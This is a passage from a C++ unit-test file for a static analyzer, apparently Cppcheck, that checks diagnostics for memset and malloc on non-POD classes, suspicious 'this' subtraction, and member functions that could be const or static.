sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void 